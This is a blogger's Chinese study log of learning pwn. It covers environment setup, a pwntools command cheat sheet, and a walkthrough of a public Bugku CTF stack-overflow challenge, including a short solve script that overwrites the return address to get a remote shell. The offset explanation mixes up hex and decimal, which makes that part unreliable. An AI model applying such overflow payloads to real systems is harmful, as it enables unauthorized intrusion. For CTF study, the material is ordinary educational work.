闭关学pwn第二天——配置环境

前言

环境配置真的烦人…不说了泪目。
pwn第二天本来计划继续学栈溢出的,但南邮比赛今晚九点开始,于是先把pwn的环境配置好了再说。
按照网上各种教程结果乱七八糟的不知道怎么弄…
失败过很多次。于是把自己的经验写在这里吧。
今天一天都用来配置环境了= =
(主要是我想弄docker)
而且踩的坑太多太多,我已经无力了

安装docker——失败

https://blog.csdn.net/qq_27818541/article/details/73647797

然后运行到helloword出错,解决方法
https://blog.csdn.net/CaoMei_HuaCha/article/details/87544109
然后后面导入镜像和使用docker失败了= =
还去阿里云搞了个仓库
然后发现这个是用来搭建环境的,也就是模拟真题,与出题有关orz
于是先放弃,先搭建pwntools好了

安装pwntool

在kali中安装pwntools,安装完成后输入python进入python环境,使用from pwn import * 导入pwntools库
pwntool安装和使用的一些语句
https://www.jianshu.com/p/355e4badab50
such as

本地 :sh = porcess("./level0")
远程:sh = remote("127.0.0.1",10001)
关闭连接:sh.close()  
sh.send(data)  发送数据
sh.sendline(data)  发送一行数据,相当于在数据后面加\n
sh.recv(numb = 2048, timeout = dufault)  接受数据,numb指定接收的字节,timeout指定超时
sh.recvline(keepends=True)  接受一行数据,keepends为是否保留行尾的\n
sh.recvuntil("Hello,World\n",drop=fasle)  接受数据直到我们设置的标志出现
sh.recvall()  一直接收直到EOF
sh.recvrepeat(timeout = default)  持续接受直到EOF或timeout
sh.interactive()  直接进行交互,相当于回到shell的模式,在取得shell之后使用

练手

放这里,拿几道题目练练手。
bugku的pwn2是栈溢出
用ida打开f5查看伪代码如下
在这里插入图片描述网上wp脚本如下

from pwn import *

sh = remote("114.116.54.89", 10003)

print sh.recv()
payload="A" * 0x38 + p64(0x400751)
sh.sendline(payload)
sh.interactive()

一句句分析。
sh = remote("114.116.54.89", 10003)对照脚本即获取nc端口地址,进行远程连接

print sh.recv()读取数据

payload="A" * 0x38 + p64(0x400751)这句便是栈溢出的精髓了,构造payload,38个A是因为前面定义s的地址指针是rbp-30,64位的返回地址通常是rbp+8,加起来是38,所以弄三十八个覆盖掉,然后eip刚好就可以输入p64(0x400751)也就是这里在这里插入图片描述get shell的地址。
sh.sendline(payload)发送这一行数据,这里相当于在nc端口终端输入了构造好的语句。同时也有个很重要的地方,就是read读取可以达到100,如果read只能读取30那栈溢出就没用了,就会自己截断掉。
最后sh.interactive()取得shell

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
你好!很高兴回答你的问题。关于软件安全实验二中的攻击方式Pwn,我可以为你提供一些基本的信息。Pwn是指通过利用软件漏洞来获取对计算机系统的控制权。在实验二中,你可能会习和尝试使用缓冲区溢出漏洞、格式化字符串漏洞、堆溢出等技术来进行Pwn攻击。 缓冲区溢出是一种常见的Pwn攻击技术,它利用了程序在处理输入数据时没有正确限制长度的漏洞。通过向程序输入过长的数据,可以覆盖到程序运行时的内存空间中的其他重要数据,例如返回地址。通过修改返回地址,攻击者可以控制程序流程,执行恶意代码。 格式化字符串漏洞是另一种常见的Pwn攻击技术。它利用了C语言的格式化字符串函数(如printf、sprintf等)在处理格式化字符串时存在的安全问题。通过向程序输入特定格式的字符串,攻击者可以读取或修改内存中的数据,甚至执行任意代码。 堆溢出是利用堆内存管理中的漏洞进行攻击的一种技术。在使用动态分配内存时,如果没有正确地释放或管理内存,可能会导致堆溢出。通过在堆中溢出写入数据,攻击者可以修改关键数据结构,从而影响程序的执行逻辑。 以上只是Pwn攻击的一些基本概念,实际的Pwn攻击还涉及很多技术和细节。在进行任何Pwn攻击之前,请务必遵循法律和道德规范,并确保你在合法授权的环境中进行实验。 如果你有任何关于Pwn攻击或软件安全实验的具体问题,我会尽力为你解答。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值